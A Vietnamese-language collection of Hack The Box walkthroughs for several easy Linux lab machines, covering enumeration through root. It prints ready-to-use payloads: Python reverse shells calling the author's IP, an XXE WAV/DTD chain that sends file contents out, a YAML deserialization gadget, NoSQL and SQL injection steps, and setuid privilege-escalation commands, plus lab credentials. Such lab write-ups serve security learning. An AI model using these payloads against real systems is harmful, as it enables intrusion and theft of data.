# Hackthebox Easy Machines OS LINUX ###### tags: `RedTeam` `Linux` `Hackthebox` `Machine` ## Stocker ![](https://i.imgur.com/fHeZNhM.png) Lúc đầu nmap thấy có port 80 rồi nhưng mình k connect được, ta phải sửa config trong /etc/hosts https://superuser.com/questions/1074185/why-i-need-to-modify-etc-hosts-to-be-able-to-open-the-website ![](https://i.imgur.com/APSbigU.png) ![](https://i.imgur.com/F50aQ09.png) Dùng dirsearch scan được mấy cái path nhưng không ăn thua lắm vì nhìn không quan trọng và toàn 403 ![](https://i.imgur.com/5Nc84mj.png) `gobuster vhost -u stocker.htb -w subdomains-top1million-5000.txt` Ta quét thử virtual host sử dụng wordlist từ https://github.com/danielmiessler/SecLists tìm được host: dev.stocker.htb ![](https://i.imgur.com/lgWiIiG.png) modify /etc/hosts để access ![](https://i.imgur.com/wpt1fs1.png) Sau khi scan nhận được trang login ![](https://i.imgur.com/K899deB.png) Vì là form login, nên mình đã thử sqli k được nên chuyển qua nosqli, nếu k được nữa chắc chỉ còn nước xài hydra :child: nhưng khi set `content-type` thành json và thử bypass authentication với payloads nosql injection https://book.hacktricks.xyz/pentesting-web/nosql-injection thì tadaaa: ![](https://i.imgur.com/s1lhMl4.png) Vào bên trong thì là shop bình thường thôi: ![](https://i.imgur.com/SQmrBCb.png) Khi thanh toán shop gen cho mình hoá đơn là pdf luôn mà ![](https://i.imgur.com/NHgA2fZ.png) ![](https://i.imgur.com/LZGdjR3.png) Thử với payload xss thì nhận ra lfi ![](https://i.imgur.com/B6HhmEN.png) do vậy ta thử đọc retrieve file xem sao `<iframe width='420' height='315' src='file:///etc/passwd'></iframe>` ![](https://i.imgur.com/7ECUWgc.png) có vẻ vẫn chưa hiển thị hết dữ liệu để mở rộng frame ra nhé `<iframe width='1000' height='1000' src='file:///etc/passwd'></iframe>` ![](https://i.imgur.com/jPS32uI.png) Đọc source thôi nào: `"<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>"` ![](https://i.imgur.com/UEyCm0f.png) ![](https://i.imgur.com/xUjKQlg.png) Vậy là ta đã tìm được: ``` username: angoose password: IHeardPassphrasesArePrettySecure ``` ssh ![](https://i.imgur.com/IRpUee7.png) Ta có đc flag 1 ![](https://i.imgur.com/k3uPtyQ.png) giờ cần leo quyền để tìm flag 2 Sử dụng sudo -l thấy rằng có quyền root với node tại /usr/local/scripts/*.js ![](https://i.imgur.com/wKClc7j.png) viết vào file `flag.js` ```javascript= const fs = require('fs'); fs.readFile(''/root/root.txt', 'utf8', (err, data) => { if (err) throw err; console.log(data); }); ``` ![](https://i.imgur.com/al3EZAk.png) ![](https://i.imgur.com/eht3ULU.png) ## Soccer ![](https://i.imgur.com/o4Cv9ss.png) Chỉnh /etc/hosts trong windows ![](https://i.imgur.com/E5UBf1b.png) ![](https://i.imgur.com/PKs8tZd.jpg) Dùng gobuster scan dir thấy không có gì nổi bật lắm ![](https://i.imgur.com/O6G1XYc.png) Quét vhost cũng vậy :crying_cat_face: ![](https://i.imgur.com/tbugYdr.png) nên mình thay wordlist, mỗi tội dùng wordlist lớn quá :hushed: ![](https://i.imgur.com/sRr7EwA.png) `Tiny File Manager` là web opensource giúp quản lý các file nhỏ nhanh và đơn giản hơn. https://github.com/prasathmani/tinyfilemanager Ở đây chúng ta tìm thấy `Default credentials` ![](https://i.imgur.com/zoX4SQB.png) Đăng nhập với tài khoản admin ta được ![](https://i.imgur.com/nNJlkTx.png) Upload reverse shell lên ![](https://i.imgur.com/tiY34F2.png) nhưng lại không thể up được ![](https://i.imgur.com/pxG9HL0.png) vào tiny/uploads ở đây cho phép ta upload, do vậy ta up load reverse shell lên ![](https://i.imgur.com/0WLN3e4.png) đã có shell trả về ![](https://i.imgur.com/JJ32rCJ.png) sử dụng command `python3 -c "import pty;pty.spawn('/bin/bash')" ` để spawn tty ![](https://i.imgur.com/ohBhHyB.png) flag user chỉ root hoặc player là có thể đọc được ![](https://i.imgur.com/CZMkQRh.png) kiểm tra /etc/hosts phát hiện ra domain nữa ![](https://i.imgur.com/v6hVjyN.png) Do vậy ta sửa /etc/hosts của mình như sau ![](https://i.imgur.com/A7vjCgE.png) giống giao diện cũ nhưng có form đăng ký, đăng nhập ![](https://i.imgur.com/qEpMaUF.png) đăng ký ![](https://i.imgur.com/XwoaSln.png) đăng nhập vào có thể check xem tình trạng ticket đó như nào ![](https://i.imgur.com/Ew79kau.png) ![](https://i.imgur.com/EODkoIX.png) Ta xác định được có lỗi sqli do: ![](https://i.imgur.com/MFhVadv.png) ![](https://i.imgur.com/sLRge2G.png) check source thì thấy ![](https://i.imgur.com/IMhTlDZ.png) ```javascript! var ws = new WebSocket("ws://soc-player.soccer.htb:9091"); window.onload = function () { var btn = document.getElementById('btn'); var input = document.getElementById('id'); ws.onopen = function (e) { console.log('connected to the server') } input.addEventListener('keypress', (e) => { keyOne(e) }); function keyOne(e) { e.stopPropagation(); if (e.keyCode === 13) { e.preventDefault(); sendText(); } } function sendText() { var msg = input.value; if (msg.length > 0) { ws.send(JSON.stringify({ "id": msg })) } else append("????????") } } ws.onmessage = function (e) { append(e.data) } function append(msg) { let p = document.querySelector("p"); // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16); // p.style.color = randomColor; p.textContent = msg } ``` code ở trên mở kết nối websocket, đợi chúng ta nhập số vé và nhấn phím enter. Sau đó, nó sẽ gửi dữ liệu json của đầu vào của chúng ta đến máy chủ websocket và hiển thị kết quả ra màn hình. Ta sử dụng code bên dưới để thay đổi request của sqlmap tới local của mình ```python! from http.server import SimpleHTTPRequestHandler from socketserver import TCPServer from urllib.parse import unquote, urlparse from websocket import create_connection ws_server = "ws://soc-player.soccer.htb:9091" def send_ws(payload): ws = create_connection(ws_server) # If the server returns a response on connect, use below line #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here # For our case, format the payload in JSON message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure data = '{"id":"%s"}' % message ws.send(data) resp = ws.recv() ws.close() if resp: return resp else: return '' def middleware_server(host_port,content_type="text/plain"): class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) try: payload = urlparse(self.path).query.split('=',1)[1] except IndexError: payload = False if payload: content = send_ws(payload) else: content = 'No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode()) return class _TCPServer(TCPServer): allow_reuse_address = True httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever() print("[+] Starting MiddleWare Server") print("[+] Send payloads in http://localhost:8081/?id=*") try: middleware_server(('0.0.0.0',8081)) except KeyboardInterrupt: pass ``` Sau đó cho chạy 2 tab ![](https://i.imgur.com/KwSwsQz.png) ![](https://i.imgur.com/HSobkWb.png) `sqlmap -u "http://localhost:8081/?id=1" --current-db` tìm được database là `soccer_db` ![](https://i.imgur.com/dmIGGKL.png) `sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --tables` ![](https://i.imgur.com/MOAupvU.png) `sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts -C username,password --dump-all` user: player password: PlayerOftheMatch2022 ![](https://i.imgur.com/fKhlsOM.png) ssh vô là có flag 1 ![](https://i.imgur.com/G5iZJ5B.png) Tìm cách leo quyền lên root `find / -perm -u=s -type f 2>/dev/null` ![](https://i.imgur.com/WsyJ90E.png) ![](https://i.imgur.com/9dKhgK6.png) Ta thấy rằng user có thể thực hiện /usr/bin/dstat với quyền root ![](https://i.imgur.com/m3iQK5l.png) Trong phần 'PLUGIN' của trang hướng dẫn, nó đề cập đến khả năng viết các plugin của riêng chúng tôi để sử dụng nó; và gần phía dưới, như hình trên cho thấy, là nhiều đường dẫn để các plugin tùy chỉnh của chúng tôi được lưu trữ. Và quy ước đặt tên là 'dstat_*.py' . Sau đó ta chỉ đơn giản là mượn quyền root để cấp quyền u+s cho user `echo 'import os;os.system("chmod u+s /bin/bash")' > dstat_privesc.py` `doas -u root /usr/bin/dstat --privesc &>/dev/null` `ls -l /bin/bash` https://gtfobins.github.io/gtfobins/bash/ `bash -p` ![](https://i.imgur.com/r3PoDcQ.png) ## Precious ![](https://i.imgur.com/xmzWkVN.png) `sudo nano /etc/hosts` ![](https://i.imgur.com/uWSBQkS.png) Một trang convert Web Page to PDF ![](https://i.imgur.com/1fm2qKV.png) nhưng lại không cho remote ? ![](https://i.imgur.com/37jiEXN.png) dùng cả web hiện tại cũng k được ![](https://i.imgur.com/230e5Tr.png) dirsearch cũng k phát hiện gì ![](https://i.imgur.com/JvCnLZ1.png) Tự host server `sudo python3 -m http.server 80` ![](https://i.imgur.com/afGvoRX.png) `http://<my_ip>` ![](https://i.imgur.com/20PYiIs.png) thì thấy bật ra file pdf ![](https://i.imgur.com/C2rb0K3.png) dùng exiftool thấy nó gen bởi pdfkit v0.8.6 ![](https://i.imgur.com/gU5FjuS.png) Google dễ dàng thấy `CVE-2022-25765` bị dính `Command Injection` với CVSS 9.8 Critical https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 Thử với POC `http://<my_ip>/?name=#{'%20`sleep 5`'}` thấy 5s mới response chứng tỏ POC hoạt động Giờ kiếm payload reverse shell, mình sử dụng payload ``` http://10.10.14.12:80/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'` ``` ![](https://i.imgur.com/tmHNZZt.png) Ở /home có 2 user henry và ruby, ta vào henry trước thì thấy file user.txt nhưng đọc file thì ta không có quyền giờ ta phải tìm credentials của henry để có thể đọc được ![](https://i.imgur.com/0XVKmcu.png) sang user ruby tìm kiếm thì ở trong folder .bundle có lưu thông tin config của henry `henry:Q3c1AqGHtoI0aXAYFH` ![](https://i.imgur.com/WmktLi3.png) giờ ta ssh sang henry và đọc flag ![](https://i.imgur.com/jsErioZ.png) ta thấy henry có thể run file update_depencies.rb với quyền root ![](https://i.imgur.com/aGG5ntK.png) ![](https://i.imgur.com/WpnjEcT.png) Đoạn này bị dính deserialization vulnerability https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/, ta nên sử dụng YAML.safe_load thay cho YAML.load ![](https://i.imgur.com/4Gj6loA.png) ![](https://i.imgur.com/8wf3Fs3.png) Bây giờ nhiệm vụ của chúng ta có vẻ đơn giản là chạy chmod +s /bin/bash. Điều này cho phép ta chạy bash với tư cách là người dùng hoặc nhóm đã tạo ra nó (trong trường hợp này là root) ghi vào file `dependencies.yml` ở /home/henry ``` --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: "chmod +s /bin/bash" method_id: :resolve ``` `sudo /usr/bin/ruby /opt/update_dependencies.rb` ![](https://i.imgur.com/pBOKgtU.png) và ta có flag root ![](https://i.imgur.com/5Ag8IWf.png) ![](https://i.imgur.com/SENFwQI.png) ## MetaTwo ![](https://i.imgur.com/TfM0Tj7.png) ![](https://i.imgur.com/4xHxuYG.png) ![](https://i.imgur.com/sEsK83b.png) Dùng dirsearch ta được khá nhiều kết quả ![](https://i.imgur.com/Rcf3ZE1.png) ![](https://i.imgur.com/vdrRlLl.png) Mình thấy chỉ cần quan tâm đến một số thứ quan trọng như trang login, robots.txt và .htaccess ![](https://i.imgur.com/xqB3JPF.png) ![](https://i.imgur.com/hz5m4bc.png) ![](https://i.imgur.com/AK86Pgt.png) bắt đầu với trang login, với username là `a` thì form thông báo `Unknown username` ![](https://i.imgur.com/kJbALJZ.png) với username là `admin` thì form thông báo `The password you entered for the username admin is incorrect` ![](https://i.imgur.com/5vD2VU6.png) do vậy có thể thấy rằng tồn tại username là `admin`, ta có thể nghĩ tới hướng brute-force password của admin bằng hydra ![](https://i.imgur.com/C4G4XHP.png) `hydra -vV -l admin -P 100k-most-used-passwords-NCSC.txt 10.10.11.186 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' -o success` K hiểu sao lại lắm password như này :cry: ![](https://i.imgur.com/lmN9TMY.png) về sau đọc bài này https://security.stackexchange.com/questions/37020/why-does-hydra-return-16-valid-passwords-when-none-are-valid mới biết là thiếu cookie do vậy phải sửa thành `hydra -l admin -P 100k-most-used-passwords-NCSC.txt 10.10.11.186 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:F=Error:H=Cookie: PHPSESSID=9f447ku07hb6021jaot3prkauf; wordpress_test_cookie=WP%20Cookie%20check'` thế nhưng con máy ảo quá cùi :cry: bị đơ lun ![](https://i.imgur.com/QP0XcO4.png) nên sang máy thật bật burpsuite lên chiến, và kết luận rằng brute-force k được, tìm cách khác đê ![](https://i.imgur.com/Z8Vrsa5.png) sử dụng wpscan nhận được phiên bản wp version `5.6.2` ![](https://i.imgur.com/N7zg2hV.png) mình bó cẩn nên có vác cả acunetic đi scan nhưng cũng không tìm thấy gì hjc (chính ra cái phần xác định lỗi này là khó khi đọc wu mình mới biết là phải đọc source page để nhìn thấy version của plugin, plugin đó dính lỗi sqli) đầu tiên ta tìm `wpnonce` trong source page `/events` sau đó sử dụng POC bên dưới để exploit [A proof of concept python script here](https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py) ![](https://i.imgur.com/hz01Oh3.png) sau đó dùng john để crack password và tìm được password của manager là: `partylikearockstar` ![](https://i.imgur.com/w64SAYy.png) ![](https://i.imgur.com/COldrYd.png) Đến đây research với keywords `wordpress 5.6.2 exploit` đều dẫn đến `CVE-2021-29447 WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8` POC: https://github.com/motikan2010/CVE-2021-29447 https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ Đầu tiên tạo file wav để upload ```echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.54:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav``` Tiếp theo là tạo file evil.dtd ``` <!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.54:8080/?p=%file;'>" > ``` ![](https://i.imgur.com/nxTRjZZ.png) Bây giờ bật server local và upload file wav ``` php -S 0.0.0.0:8080 ``` ![](https://i.imgur.com/wbVDJls.png) và ta nhận được data là base64 ![](https://i.imgur.com/re6Hxoj.png) đem đi decode là ta nhận được file /etc/passwd ``` php -r 'echo zlib_decode(base64_decode("jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw=="));' ``` ![](https://i.imgur.com/P01FiAR.png) giờ làm tương tự để đọc file config của wordpress bằng cách sửa file evil.dtd ``` <!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php"> <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.54:8080/?p=%file;'>" > ``` sau đó upload lại file wav ![](https://i.imgur.com/JKqgMGs.png) và decode ```php! php -r 'echo zlib_decode(base64_decode("jVVZU/JKEH2+VvkfhhKMoARUQBARAoRNIEDCpgUhIRMSzEYyYVP87TdBBD71LvAANdNzTs/p6dMPaUMyTk9CgQBgJAg0ToVAFwFy/gsc4njOgkDUTdDVTaFhQssCgdDpiQBFWYMXAMtn2TpRI7ErgPGKPsGAP3l68glXW9HN6gHEtqC5Rf9+vk2Trf9x3uAsa+Ek8eN8g6DpLtXKuxix2ygxyzDCzMwteoX28088SbfQr2mUKJpxIRR9zClu1PHZ/FcWOYkzLYgA0t0LAVkDYxNySNYmh0ydHwVa+A+GXIlo0eSWxEZiXOUjxxSu+gcaXVE45ECtDIiDvK5hCIwlTps4S5JsAVl0qQXd5tEvPFS1SjDbmnwR7LcLNFsjmRK1VUtEBlzu7nmIYBr7kqgQcYZbdFxC/C9xrvRuXKLep1lZzhRWVdaI1m7q88ov0V8KO7T4fyFnCXr/qEK/7NN01dkWOcURa6/hWeby9AQEAGE7z1dD8tgpjK6BtibPbAie4MoCnCYAmlOQhW8jM5asjSG4wWN42F04VpJoMyX2iew7PF8fLO159tpFKkDElhQZXV4ZC9iIyIF1Uh2948/3vYy/2WoWeq+51kq524zMXqeYugXa4+WtmsazoftvN6HJXLtFssdM2NIre/18eMBfj20jGbkb9Ts2F6qUZr5AvE3EJoMwv9DJ7n3imnxOSAOzq3RmvnIzFjPEt9SA832jqFLFIplny/XDVbDKpbrMcY3I+mGCxxpDNFrL80dB2JCk7IvEfRWtNRve1KYFWUba2bl2WerNB+/v5GXhI/c2e+qtvlHUqXqO/FMpjFZh3vR6qfBUTg4Tg8Doo1iHHqOXyc+7fERNkEIqL1zgZnD2NlxfFNL+O3VZb08S8RhqUndU9BvFViGaqDJHFC9JJjsZh65qZ34hKr6UAmgSDcsik36e49HuMjVSMnNvcF4KPHzchwfWRng4ryXxq2V4/dF6vPXk/6UWOybscdQhrJinmIhGhYqV9lKRtTrCm0lOnXaHdsV8Za+DQvmCnrYooftCn3/oqlwaTju59E2wnC7j/1iL/VWwyItID289KV+6VNaNmvE66fP6Kh6cKkN5UFts+kD4qKfOhxWrPKr5CxWmQnbKflA/q1OyUBZTv9biD6Uw3Gqf55qZckuRAJWMcpbSvyzM4s2uBOn6Uoh14Nlm4cnOrqRNJzF9ol+ZojX39SPR60K8muKrRy61bZrDKNj7FeNaHnAaWpSX+K6RvFsfZD8XQQpgC4PF/gAqOHNFgHOo6AY0rfsjYAHy9mTiuqqqC3DXq4qsvQIJIcO6D4XcUfBpILo5CVm2YegmCnGm0/UKDO3PB2UtuA8NfW/xboPNk9l28aeVAIK3dMVG7txBkmv37kQ8SlA24Rjp5urTfh0/vgAe8AksuA82SzcIpuRI53zfTk/+Ojzl3c4VYNl8ucWyAAfYzuI2X+w0RBawjSPCuTN3tu7lGJZiC1AAoryfMiac2U5CrO6a2Y7AhV0YQWdYudPJwp0x76r/Nw=="));' ``` ta có được source code ``` <?php /** The name of the database for WordPress */ define( 'DB_NAME', 'blog' ); /** MySQL database username */ define( 'DB_USER', 'blog' ); /** MySQL database password */ define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); define( 'FS_METHOD', 'ftpext' ); define( 'FTP_USER', 'metapress.htb' ); define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' ); define( 'FTP_HOST', 'ftp.metapress.htb' ); define( 'FTP_BASE', 'blog/' ); define( 'FTP_SSL', false ); /**#@+ * Authentication Unique Keys and Salts. * @since 2.6.0 */ define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' ); define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' ); define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' ); define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' ); define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' ); define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' ); define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' ); define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' ); /** * WordPress Database Table prefix. */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ define( 'WP_DEBUG', false ); /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php'; ``` có được ftp credentials metapress.htb:9NYS_ii@FyL_p5M2NvJ ![](https://i.imgur.com/A80eIhn.png) cat file `send_email.php` ta được `jnelson@metapress.htb:Cb4_JmWM8zUZWMu@Ys` ```php! <?php /* * This script will be used to send an email to all our users when ready for launch */ use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; require 'PHPMailer/src/Exception.php'; require 'PHPMailer/src/PHPMailer.php'; require 'PHPMailer/src/SMTP.php'; $mail = new PHPMailer(true); $mail->SMTPDebug = 3; $mail->isSMTP(); $mail->Host = "mail.metapress.htb"; $mail->SMTPAuth = true; $mail->Username = "jnelson@metapress.htb"; $mail->Password = "Cb4_JmWM8zUZWMu@Ys"; $mail->SMTPSecure = "tls"; $mail->Port = 587; $mail->From = "jnelson@metapress.htb"; $mail->FromName = "James Nelson"; $mail->addAddress("info@metapress.htb"); $mail->isHTML(true); $mail->Subject = "Startup"; $mail->Body = "<i>We just started our new blog metapress.htb!</i>"; try { $mail->send(); echo "Message has been sent successfully"; } catch (Exception $e) { echo "Mailer Error: " . $mail->ErrorInfo; } ``` ssh với thông tin trên và tìm được flag 1 ![](https://i.imgur.com/bXv7EUw.png) tiếp tục tìm thấy pass của root trong folder .passpie, passpie là trình quản lý mật khẩu bằng command line, nếu nhập đúng mật khẩu của passpie thì có thể đọc được tất cả mật khẩu đã lưu trong đó ![](https://i.imgur.com/wAvSuH5.png) copy về local ![](https://i.imgur.com/XIO1bJ5.png) tiếp tục tìm thấy file `.keys` có 2 key là public key và private key, copy phần private key về local rồi crack ![](https://i.imgur.com/8BPJyv6.png) ![](https://i.imgur.com/Fs3eIaf.png) tìm được key là: blink182 ![](https://i.imgur.com/ndLyq4C.png) nhập key, tìm được passwd `p7qfAZt4_A1xo_0x` và lụm flag ![](https://i.imgur.com/MgdqUwr.png) ## Photobomb ![](https://i.imgur.com/4ln4udL.png) ![](https://i.imgur.com/xqzQlmr.png) Sau khi quét dir, vhost thấy chả có gì cả, mình mò thử source page thì thấy `http://pH0t0:b0Mb!@photobomb.htb/printer` ![](https://i.imgur.com/nMgpIGw.png) ![](https://i.imgur.com/uXtbxq8.jpg) thử download 1 ảnh ![](https://i.imgur.com/xiyHSP9.png) sau khi thử check blind cmd injection bằng cách curl sang server burp nhưng thấy không được nên mình dựng server tại máy để xem mạng lan có curl được không. ![](https://i.imgur.com/OkaMw7N.png) `sudo python3 -m http.server 80` Ok, vậy là giả thuyết đã đúng ![](https://i.imgur.com/es1rgM5.png) reverse shell thôi ``` python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.54",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' ``` ![](https://i.imgur.com/Stp3N9D.png) tìm được thông tin đăng nhập ![](https://i.imgur.com/YbE49gk.png) giờ dùng john để crack `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt` nhưng mà không crack được ![](https://i.imgur.com/0jeHtwr.png) quay về home thì thấy flag 1, đậu xanh phí thời gian crack ![](https://i.imgur.com/Am6AyqS.png) tìm cách leo lên root ![](https://i.imgur.com/vmAkmiM.png) ta thấy rằng khi excute script find chạy với quyền root ghi bash vào find: `echo /bin/bash > find; chmod +x find` ghi đè PATH ![](https://i.imgur.com/OSOOL9S.png) đ hiểu sao ghi đè rồi mà excute k lên root mà phải dùng payload `sudo PATH=$PWD:$PATH /opt/cleanup.sh` ![](https://i.imgur.com/APUKKjt.png) Vậy là cuối cùng cũng xong 5 machine easy, easy mà cũng nhọc quá hjc ![](https://i.imgur.com/04CImxP.png) ## Inject ![](https://i.imgur.com/cnpPoDc.png) ![](https://i.imgur.com/r1D7BqN.png) Sau khi thử 7749 lần bypass upload file thì mình thấy thử vài trick nhưng không cái nào excute được ![](https://i.imgur.com/2AnEU0u.png) ![](https://i.imgur.com/4Kzykno.png) Trong lúc tuyệt vọng mình thử Path Traversal và bú được thật ![](https://i.imgur.com/r78lNcX.png) Sau đó mình có fuzz mấy file default linux để đọc xem có gì lạ không nhưng vẫn không có gì (hoặc mình đọc thiếu) ![](https://i.imgur.com/bCap8Qc.png) Bí quá mình xem wu, và được thấy rằng nó liệt kê được cả folder, điều này khá mới mẻ với mình :seedling: vì trước giờ mình không phân biệt rõ Path Traversal và LFI cứ nghĩ là chỉ đọc được file thôi, còn directory thì không được, nếu đọc được là config lỗi, nhờ sự ngu dốt đó mà bị các thằng em QQ cà khịa. Về cơ bản thì LFI hơn Path Traversal ở chỗ nó có thể excute được, nên lab này chính xác là bị lỗi LFI. https://security.stackexchange.com/questions/11868/difference-between-directory-traversal-and-file-inclusion ![](https://i.imgur.com/AViQTUj.png) Oa lần đầu làm lab có web java (real world) :heart_eyes: Cuối cùng cũng tìm hiểu được nguyên nhân, có source rồi ta thấy rằng mimetype chỉ check đoạn đầu xem có phải `image` hay không. Thế nhưng khi test lại thấy nó chả liên quan gì, hay là code này không phải code thật và ta chỉ đọc được source trong examle? ![](https://i.imgur.com/oQzZVm3.png) ![](https://i.imgur.com/hpaTksK.png) Đi tìm cách khác ta thấy server sử dụng dependency `spring-cloud-function-web` version `3.2.2` ![](https://i.imgur.com/j0ZBAKx.png) google ta tìm được lỗi RCE trên Spring Cloud Function https://spring.io/security/cve-2022-22963 Sau đó mình tìm được POC: https://github.com/lemmyz4n3771/CVE-2022-22963-PoC Nhưng có vẻ là mình không được ghi, vì vậy mình host file rồi dùng máy victim wget về thôi ![](https://i.imgur.com/T2nyGDF.png) ![](https://i.imgur.com/8XLM2SW.png) ![](https://i.imgur.com/Ii5AZfO.png) ![](https://i.imgur.com/F0eLNQa.png) ![](https://i.imgur.com/CEzp0Ug.png) ![](https://i.imgur.com/D7YjyNd.png) Ting Ting Đã có shell về ![](https://i.imgur.com/RXEPDwU.png) Tìm được password của `phil`: `DocPhillovestoInject123` Hấp tấp đăng nhập, nhưng nó đòi cả pubkey nữa ![](https://i.imgur.com/rOi5sJA.png) đăng nhập luôn từ `frank` là khỏi cần ![](https://i.imgur.com/PPUsiwP.png) upgrade shell ![](https://i.imgur.com/64QZHQi.png) Tìm suid nhưng không thấy cái nào khả quan ![](https://i.imgur.com/2656SI1.png) định tải linpeas về nhưng không được ![](https://i.imgur.com/gfN74pV.png) thì ta lại tải về máy mình rồi dùng máy victim kéo về thôi ![](https://i.imgur.com/gKVuCfX.png) ![](https://i.imgur.com/Gjq0wer.png) thử hết mấy cái CVE thấy không cái nào xài được sau đó tham khảo wu họ sử dụng tool pspy64: https://github.com/DominicBreuker/pspy, đây là tool có thể xem các tiến trình mà không cần quyền root ![](https://i.imgur.com/ULHtS4L.png) ![](https://i.imgur.com/okdOiYu.png) để ý thấy 2 câu lệnh này nó sẽ tự động load các file yml trong folder và sau đó cho run python3 với các file yml ``` /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml ``` ý tưởng lúc đầu chỉ đơn giản là viết lại file python vì mình kiểm tra thấy full quyền nhưng khi thực thi lại không được, khó hiểu ![](https://i.imgur.com/Q39wHs3.png) thế là mình phải tìm cách khác đó là thêm 1 file yml vô nữa Trên gtfo https://gtfobins.github.io/gtfobins/ansible-playbook/ có đề cập đến việc chèn thêm properties shell 